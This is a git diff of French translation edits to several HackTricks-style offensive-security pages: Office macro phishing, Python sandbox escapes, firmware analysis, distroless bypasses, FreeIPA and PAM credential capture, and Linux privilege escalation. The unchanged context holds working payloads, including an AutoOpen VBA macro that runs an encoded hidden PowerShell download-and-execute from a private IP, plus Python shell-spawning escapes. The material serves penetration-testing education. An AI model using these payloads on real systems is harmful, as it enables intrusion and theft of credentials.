2. Sensibilisation à la sécurité – apprendre aux utilisateurs à *taper* des commandes sensibles ou à les coller d'abord dans un éditeur de texte.
|
||||
3. Mode de langue contraint PowerShell / Politique d'exécution + Contrôle des applications pour bloquer les one-liners arbitraires.
|
||||
4. Contrôles réseau – bloquer les requêtes sortantes vers des domaines C2 de pastejacking et de malware connus.
|
||||
1. Renforcement du navigateur – désactivez l'accès en écriture au presse-papiers (`dom.events.asyncClipboard.clipboardItem` etc.) ou exigez un geste de l'utilisateur.
|
||||
2. Sensibilisation à la sécurité – apprenez aux utilisateurs à *taper* des commandes sensibles ou à les coller d'abord dans un éditeur de texte.
|
||||
3. Mode de langue contraint PowerShell / Politique d'exécution + Contrôle des applications pour bloquer les lignes de commande arbitraires.
|
||||
4. Contrôles réseau – bloquez les requêtes sortantes vers des domaines C2 de pastejacking et de malware connus.
|
||||
|
||||
## Astuces Connexes
|
||||
## Astuces connexes
|
||||
|
||||
* Le **Détournement d'Invitation Discord** abuse souvent de la même approche ClickFix après avoir attiré les utilisateurs dans un serveur malveillant :
|
||||
* Le **Détournement d'invitation Discord** abuse souvent de la même approche ClickFix après avoir attiré les utilisateurs dans un serveur malveillant :
|
||||
|
||||
{{#ref}}
|
||||
discord-invite-hijacking.md
|
||||
|
@ -16,25 +16,25 @@ assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Fichiers DOCX faisant référence à un modèle distant (Fichier – Options – Compléments – Gérer : Modèles – Aller) qui inclut des macros peuvent également “exécuter” des macros.
|
||||
|
||||
### Chargement d'image externe
|
||||
### Chargement d'Image Externe
|
||||
|
||||
Allez à : _Insérer --> Éléments rapides --> Champ_\
|
||||
_**Catégories** : Liens et références, **Noms de champ** : includePicture, et **Nom de fichier ou URL** :_ http://\<ip>/whatever
|
||||
_**Catégories** : Liens et Références, **Noms de champ** : includePicture, et **Nom de fichier ou URL** :_ http://\<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Backdoor de macros
|
||||
### Backdoor de Macros
|
||||
|
||||
Il est possible d'utiliser des macros pour exécuter du code arbitraire à partir du document.
|
||||
|
||||
#### Fonctions d'autoload
|
||||
#### Fonctions d'Autoload
|
||||
|
||||
Plus elles sont courantes, plus il est probable que l'AV les détecte.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Exemples de code de macros
|
||||
#### Exemples de Code de Macros
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -71,7 +71,7 @@ Allez dans **Fichier > Informations > Inspecter le document > Inspecter le docum
|
||||
#### Extension de document
|
||||
|
||||
Une fois terminé, sélectionnez le menu déroulant **Enregistrer sous le type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\
|
||||
Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il y a une **stigmatisation** **autour** de l'extension **`.docm`** activée par macro (par exemple, l'icône miniature a un énorme `!` et certains passerelles web/email les bloquent entièrement). Par conséquent, cette **ancienne extension `.doc` est le meilleur compromis**.
|
||||
Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il y a une **stigmatisation** **autour** de l'extension de fichier activée par macro **`.docm`** (par exemple, l'icône miniature a un énorme `!` et certains passerelles web/email les bloquent entièrement). Par conséquent, cette **ancienne extension `.doc` est le meilleur compromis**.
|
||||
|
||||
#### Générateurs de macros malveillantes
|
||||
|
||||
@ -83,7 +83,7 @@ Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`
|
||||
|
||||
Un HTA est un programme Windows qui **combine HTML et langages de script (comme VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute en tant qu'application "entièrement fiable", sans les contraintes du modèle de sécurité d'un navigateur.
|
||||
|
||||
Un HTA est exécuté à l'aide de **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter.
|
||||
Un HTA est exécuté en utilisant **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
|
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### D'autres bibliothèques qui permettent d'évaluer du code python
|
||||
### Autres bibliothèques qui permettent d'évaluer du code python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -135,7 +135,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Contournement des protections par le biais des encodages (UTF-7)
|
||||
## Contournement des protections par encodages (UTF-7)
|
||||
|
||||
Dans [**ce rapport**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un apparent sandbox :
|
||||
```python
|
||||
@ -251,7 +251,7 @@ Sub['import os; os.system("sh")']
|
||||
```
|
||||
#### Création d'objets avec des exceptions
|
||||
|
||||
Lorsque une **exception est déclenchée**, un objet de l'**Exception** est **créé** sans que vous ayez besoin d'appeler le constructeur directement (un truc de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Lorsque **une exception est déclenchée**, un objet de **l'Exception** est **créé** sans que vous ayez besoin d'appeler le constructeur directement (un truc de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -314,7 +314,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Pas de Builtins
|
||||
|
||||
Lorsque vous n'avez pas `__builtins__`, vous ne pourrez rien importer ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Lorsque vous n'avez pas `__builtins__`, vous ne pourrez pas importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Cependant, **par défaut, python importe beaucoup de modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux **importent également des** fonctionnalités **dangereuses** à l'intérieur qui peuvent être accessibles pour obtenir même **une exécution de code arbitraire**.
|
||||
|
||||
Dans les exemples suivants, vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** à l'intérieur d'eux.
|
||||
@ -682,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément dict** avec des **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et un **élément dict** avec **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||
|
||||
Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
@ -704,9 +704,10 @@ return 'HAL 9000'
|
||||
```
|
||||
**Plus d'exemples** sur les **exemples de chaînes de format** peuvent être trouvés sur [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!AVERTISSEMENT]
|
||||
> [!CAUTION]
|
||||
> Vérifiez également la page suivante pour des gadgets qui **lire des informations sensibles à partir des objets internes de Python** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
@ -775,7 +776,7 @@ Le défi abuse en réalité d'une autre vulnérabilité sur le serveur qui perme
|
||||
> [!TIP]
|
||||
> Si vous voulez **apprendre** sur le **bytecode python** en profondeur, lisez ce **superbe** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
Dans certains CTF, vous pourriez recevoir le nom d'une **fonction personnalisée où se trouve le flag** et vous devez examiner les **internes** de la **fonction** pour l'extraire.
|
||||
Dans certains CTFs, vous pourriez recevoir le nom d'une **fonction personnalisée où se trouve le flag** et vous devez voir les **internes** de la **fonction** pour l'extraire.
|
||||
|
||||
C'est la fonction à inspecter :
|
||||
```python
|
||||
@ -797,7 +798,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` et `func_globals`(Identique) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et leur contenu déclaré :
|
||||
`__globals__` et `func_globals` (Identique) Obtient l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et leur contenu déclaré :
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -923,7 +924,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
## Compilation de Python
|
||||
|
||||
Maintenant, imaginons que d'une manière ou d'une autre, vous pouvez **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez** **exécuter**.\
|
||||
Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais en lisant simplement le désassemblage, vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
|
||||
Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais en lisant le désassemblage, vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -958,7 +959,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de python que vous exécutez est de lancer :
|
||||
> En fonction de la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de python que vous exécutez est de lancer :
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -969,7 +970,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
### Recréer une fonction divulguée
|
||||
|
||||
> [!WARNING]
|
||||
> Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir de l'objet code de la fonction. Dans un **exemple réel**, toutes les **valeurs** pour exécuter la fonction **`code_type`** sont ce que **vous devrez divulguer**.
|
||||
> Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir de l'objet code de la fonction. Dans un **exemple réel**, toutes les **valeurs** pour exécuter la fonction **`code_type`** est ce que **vous devrez divulguer**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -1020,9 +1021,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Décompiler du Python compilé
|
||||
## Décompilation de Python Compilé
|
||||
|
||||
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com), on peut **décompiler** du code python compilé donné.
|
||||
En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com), on peut **décompiler** un code python compilé donné.
|
||||
|
||||
**Consultez ce tutoriel** :
|
||||
|
||||
@ -1034,7 +1035,7 @@ En utilisant des outils comme [**https://www.decompiler.com/**](https://www.deco
|
||||
|
||||
### Assert
|
||||
|
||||
Python exécuté avec des optimisations avec le paramètre `-O` supprimera les instructions assert et tout code conditionnel sur la valeur de **debug**.\
|
||||
Python exécuté avec des optimisations avec le paramètre `-O` supprimera les instructions d'assertion et tout code conditionnel sur la valeur de **debug**.\
|
||||
Par conséquent, des vérifications comme
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -65,7 +65,7 @@ print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Création de la valeur par défaut de propriété de classe pour RCE (subprocess)</summary>
|
||||
<summary>Création d'une valeur par défaut de propriété de classe pour RCE (subprocess)</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
|
@ -66,8 +66,8 @@ Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
|
||||
|
||||
### Récupération du Système de Fichiers
|
||||
|
||||
Avec les outils précédemment commentés comme `binwalk -ev <bin>`, vous devriez avoir pu **extraire le système de fichiers**.\
|
||||
Binwalk extrait généralement cela dans un **dossier nommé selon le type de système de fichiers**, qui est généralement l'un des suivants : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
Avec les outils commentés précédemment comme `binwalk -ev <bin>`, vous devriez avoir pu **extraire le système de fichiers**.\
|
||||
Binwalk l'extrait généralement dans un **dossier nommé selon le type de système de fichiers**, qui est généralement l'un des suivants : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Extraction Manuelle du Système de Fichiers
|
||||
|
||||
@ -154,7 +154,7 @@ Une fois le système de fichiers extrait, la recherche de failles de sécurité
|
||||
|
||||
- **etc/shadow** et **etc/passwd** pour les identifiants utilisateurs
|
||||
- Certificats SSL et clés dans **etc/ssl**
|
||||
- Fichiers de configuration et scripts pour d'éventuelles vulnérabilités
|
||||
- Fichiers de configuration et scripts pour des vulnérabilités potentielles
|
||||
- Binaires intégrés pour une analyse plus approfondie
|
||||
- Serveurs web et binaires courants des dispositifs IoT
|
||||
|
||||
@ -170,7 +170,7 @@ Le code source et les binaires compilés trouvés dans le système de fichiers d
|
||||
|
||||
## Émulation de Firmware pour Analyse Dynamique
|
||||
|
||||
Le processus d'émulation de firmware permet une **analyse dynamique** soit du fonctionnement d'un appareil, soit d'un programme individuel. Cette approche peut rencontrer des défis liés aux dépendances matérielles ou d'architecture, mais le transfert du système de fichiers racine ou de binaires spécifiques vers un appareil avec une architecture et un ordre des octets correspondants, comme un Raspberry Pi, ou vers une machine virtuelle préconstruite, peut faciliter des tests supplémentaires.
|
||||
Le processus d'émulation de firmware permet une **analyse dynamique** soit du fonctionnement d'un dispositif, soit d'un programme individuel. Cette approche peut rencontrer des défis liés aux dépendances matérielles ou d'architecture, mais le transfert du système de fichiers racine ou de binaires spécifiques vers un dispositif avec une architecture et un ordre des octets correspondants, comme un Raspberry Pi, ou vers une machine virtuelle préconstruite, peut faciliter des tests supplémentaires.
|
||||
|
||||
### Émulation de Binaires Individuels
|
||||
|
||||
@ -212,7 +212,7 @@ Développer un PoC pour les vulnérabilités identifiées nécessite une compré
|
||||
|
||||
Des systèmes d'exploitation comme [AttifyOS](https://github.com/adi0x90/attifyos) et [EmbedOS](https://github.com/scriptingxss/EmbedOS) fournissent des environnements préconfigurés pour les tests de sécurité des firmwares, équipés des outils nécessaires.
|
||||
|
||||
## OS préparés pour analyser le firmware
|
||||
## Systèmes d'exploitation préparés pour analyser le firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos) : AttifyOS est une distribution destinée à vous aider à effectuer des évaluations de sécurité et des tests de pénétration des dispositifs Internet des objets (IoT). Elle vous fait gagner beaucoup de temps en fournissant un environnement préconfiguré avec tous les outils nécessaires chargés.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS) : Système d'exploitation de test de sécurité embarqué basé sur Ubuntu 18.04 préchargé avec des outils de test de sécurité des firmwares.
|
||||
@ -244,7 +244,7 @@ Dans le firmware vulnérable (rétrogradé), le paramètre `md5` est concaténé
|
||||
|
||||
### Extraction de Firmware à partir d'Applications Mobiles
|
||||
|
||||
De nombreux fournisseurs regroupent des images de firmware complètes à l'intérieur de leurs applications mobiles compagnon afin que l'application puisse mettre à jour l'appareil via Bluetooth/Wi-Fi. Ces paquets sont généralement stockés non chiffrés dans l'APK/APEX sous des chemins comme `assets/fw/` ou `res/raw/`. Des outils tels que `apktool`, `ghidra`, ou même un simple `unzip` vous permettent d'extraire des images signées sans toucher au matériel physique.
|
||||
De nombreux fournisseurs regroupent des images de firmware complètes dans leurs applications mobiles compagnon afin que l'application puisse mettre à jour l'appareil via Bluetooth/Wi-Fi. Ces paquets sont généralement stockés non chiffrés dans l'APK/APEX sous des chemins comme `assets/fw/` ou `res/raw/`. Des outils tels que `apktool`, `ghidra`, ou même un simple `unzip` vous permettent d'extraire des images signées sans toucher au matériel physique.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
|
@ -312,7 +312,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## Bash NOP Sled basé sur l'espace ("Bashsledding")
|
||||
|
||||
Lorsqu'une vulnérabilité vous permet de contrôler partiellement un argument qui atteint finalement `system()` ou un autre shell, vous ne connaissez peut-être pas le décalage exact à partir duquel l'exécution commence à lire votre charge utile. Les NOP sleds traditionnels (par exemple `\x90`) ne fonctionnent **pas** dans la syntaxe shell, mais Bash ignorera sans danger les espaces vides en début de ligne avant d'exécuter une commande.
|
||||
Lorsqu'une vulnérabilité vous permet de contrôler partiellement un argument qui atteint finalement `system()` ou un autre shell, vous ne connaissez peut-être pas le décalage exact à partir duquel l'exécution commence à lire votre charge utile. Les NOP sleds traditionnels (par exemple `\x90`) ne fonctionnent **pas** dans la syntaxe shell, mais Bash ignorera sans danger les espaces vides en tête avant d'exécuter une commande.
|
||||
|
||||
Par conséquent, vous pouvez créer un *NOP sled pour Bash* en préfixant votre vraie commande avec une longue séquence d'espaces ou de caractères de tabulation :
|
||||
```bash
|
||||
@ -326,7 +326,7 @@ Cas d'utilisation pratiques :
|
||||
|
||||
1. **Blobs de configuration mappés en mémoire** (par exemple, NVRAM) accessibles à travers les processus.
|
||||
2. Situations où l'attaquant ne peut pas écrire de bytes NULL pour aligner la charge utile.
|
||||
3. Dispositifs embarqués où seul `ash`/`sh` de BusyBox est disponible – ils ignorent également les espaces de début.
|
||||
3. Dispositifs embarqués où seul BusyBox `ash`/`sh` est disponible – ils ignorent également les espaces en tête.
|
||||
|
||||
> 🛠️ Combinez cette astuce avec des gadgets ROP qui appellent `system()` pour augmenter considérablement la fiabilité de l'exploitation sur des routeurs IoT à mémoire limitée.
|
||||
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Vidéos
|
||||
|
||||
Dans les vidéos suivantes, vous pouvez trouver les techniques mentionnées sur cette page expliquées plus en profondeur :
|
||||
@ -26,7 +27,7 @@ securityContext:
|
||||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Cependant, même si le système de fichiers est monté en tant que ro, **`/dev/shm`** sera toujours inscriptible, donc c'est faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection pas d'exécution**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
||||
Cependant, même si le système de fichiers est monté en tant que ro, **`/dev/shm`** sera toujours écrivable, donc c'est faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection pas d'exécution**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
||||
|
||||
> [!WARNING]
|
||||
> D'un point de vue red team, cela rend **compliqué de télécharger et d'exécuter** des binaires qui ne sont pas déjà dans le système (comme des portes dérobées ou des énumérateurs comme `kubectl`).
|
||||
@ -74,7 +75,7 @@ ddexec.md
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **DDexec shellcode démonisé**, donc chaque fois que vous souhaitez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour passer de nouveaux binaires à charger et exécuter**.
|
||||
|
||||
Vous pouvez trouver un exemple sur la façon d'utiliser **memexec pour exécuter des binaires à partir d'un shell inverse PHP** dans [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
Vous pouvez trouver un exemple sur la façon d'utiliser **memexec pour exécuter des binaires à partir d'un shell inversé PHP** dans [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
@ -95,7 +96,7 @@ Dans un conteneur distroless, vous pourriez **même ne pas trouver `sh` ou `bash
|
||||
> [!WARNING]
|
||||
> Par conséquent, vous **ne pourrez pas** obtenir un **reverse shell** ou **énumérer** le système comme vous le faites habituellement.
|
||||
|
||||
Cependant, si le conteneur compromis exécute par exemple un web flask, alors python est installé, et donc vous pouvez obtenir un **reverse shell Python**. S'il exécute node, vous pouvez obtenir un shell inverse Node, et c'est la même chose avec presque n'importe quel **langage de script**.
|
||||
Cependant, si le conteneur compromis exécute par exemple un web flask, alors python est installé, et donc vous pouvez obtenir un **reverse shell Python**. S'il exécute node, vous pouvez obtenir un shell rev Node, et c'est la même chose avec presque n'importe quel **langage de script**.
|
||||
|
||||
> [!TIP]
|
||||
> En utilisant le langage de script, vous pourriez **énumérer le système** en utilisant les capacités du langage.
|
||||
|
@ -37,7 +37,7 @@ Alternativement, les tickets CCACHE peuvent être stockés dans le keyring Linux
|
||||
|
||||
### Keytab
|
||||
|
||||
Les fichiers keytab, contenant des principaux Kerberos et des clés chiffrées, sont essentiels pour obtenir des tickets de concession de tickets valides (TGT) sans avoir besoin du mot de passe du principal. L'analyse et la réutilisation des informations d'identification à partir des fichiers keytab peuvent être facilement effectuées avec des utilitaires comme `klist` et des scripts tels que **KeytabParser**.
|
||||
Les fichiers keytab, contenant des principaux Kerberos et des clés chiffrées, sont essentiels pour obtenir des tickets de distribution de tickets valides (TGT) sans avoir besoin du mot de passe du principal. L'analyse et la réutilisation des informations d'identification à partir des fichiers keytab peuvent être facilement effectuées avec des utilitaires comme `klist` et des scripts tels que **KeytabParser**.
|
||||
|
||||
### Cheatsheet
|
||||
|
||||
@ -125,7 +125,7 @@ ipa hbacrule-show <hbacrule> --all
|
||||
```
|
||||
#### Sudo-Rules
|
||||
|
||||
FreeIPA permet un contrôle centralisé des **permissions sudo** via des sudo-rules. Ces règles permettent ou limitent l'exécution de commandes avec sudo sur les hôtes au sein du domaine. Un attaquant pourrait potentiellement identifier les hôtes applicables, les utilisateurs et les commandes autorisées en examinant ces ensembles de règles.
|
||||
FreeIPA permet un contrôle centralisé des **sudo permissions** via des sudo-rules. Ces règles permettent ou limitent l'exécution de commandes avec sudo sur les hôtes au sein du domaine. Un attaquant pourrait potentiellement identifier les hôtes applicables, les utilisateurs et les commandes autorisées en examinant ces ensembles de règles.
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
@ -142,7 +142,7 @@ Le rôle `User Administrator` a ces privilèges :
|
||||
|
||||
- **Administrateurs d'Utilisateurs**
|
||||
- **Administrateurs de Groupes**
|
||||
- **Administrateurs d'Utilisateurs de Stage**
|
||||
- **Administrateurs d'Utilisateurs de Scène**
|
||||
|
||||
Avec les commandes suivantes, il est possible d'énumérer les rôles, privilèges et permissions :
|
||||
```bash
|
||||
|
@ -4,7 +4,8 @@
|
||||
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
Configurons un module PAM pour enregistrer chaque mot de passe utilisé par un utilisateur pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
Configurons un module PAM pour enregistrer chaque mot de passe utilisé par chaque utilisateur pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
@ -17,8 +18,8 @@ Les modules d'authentification pluggables (PAM) offrent une flexibilité dans la
|
||||
|
||||
**Capture des informations d'identification :**
|
||||
|
||||
- Un script bash nommé `toomanysecrets.sh` est créé pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur (`$PAM_USER`), le mot de passe (via stdin) et l'IP de l'hôte distant (`$PAM_RHOST`) dans `/var/log/toomanysecrets.log`.
|
||||
- Le script est rendu exécutable et intégré dans la configuration PAM (`common-auth`) à l'aide du module `pam_exec.so` avec des options pour s'exécuter silencieusement et exposer le jeton d'authentification au script.
|
||||
- Un script bash nommé `toomanysecrets.sh` est conçu pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur (`$PAM_USER`), le mot de passe (via stdin) et l'IP de l'hôte distant (`$PAM_RHOST`) dans `/var/log/toomanysecrets.log`.
|
||||
- Le script est rendu exécutable et intégré dans la configuration PAM (`common-auth`) en utilisant le module `pam_exec.so` avec des options pour s'exécuter silencieusement et exposer le jeton d'authentification au script.
|
||||
- L'approche démontre comment un hôte Linux compromis peut être exploité pour enregistrer discrètement les informations d'identification.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -35,7 +36,7 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
|
||||
Le Pluggable Authentication Module (PAM) est un système utilisé sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **nom d'utilisateur**, **mot de passe** et **service**. Les fichiers de configuration pour chaque service se trouvent dans le répertoire `/etc/pam.d/`, où des bibliothèques partagées gèrent l'authentification.
|
||||
|
||||
**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe réel de l'utilisateur. Cela se concentre particulièrement sur la bibliothèque partagée `pam_unix.so` utilisée par le fichier `common-auth`, qui est inclus par presque tous les services pour la vérification des mots de passe.
|
||||
**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spécifique, contournant le mot de passe utilisateur réel. Cela se concentre particulièrement sur la bibliothèque partagée `pam_unix.so` utilisée par le fichier `common-auth`, qui est inclus par presque tous les services pour la vérification des mots de passe.
|
||||
|
||||
### Étapes pour modifier `pam_unix.so` :
|
||||
|
||||
|
@ -18,7 +18,7 @@ Si vous **avez des permissions d'écriture sur un dossier à l'intérieur de la
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Infos sur l'environnement
|
||||
### Env info
|
||||
|
||||
Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ?
|
||||
```bash
|
||||
@ -26,7 +26,7 @@ Informations intéressantes, mots de passe ou clés API dans les variables d'env
|
||||
```
|
||||
### Exploits du noyau
|
||||
|
||||
Vérifiez la version du noyau et s'il existe un exploit pouvant être utilisé pour élever les privilèges.
|
||||
Vérifiez la version du noyau et s'il existe un exploit qui peut être utilisé pour élever les privilèges.
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
@ -216,7 +216,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
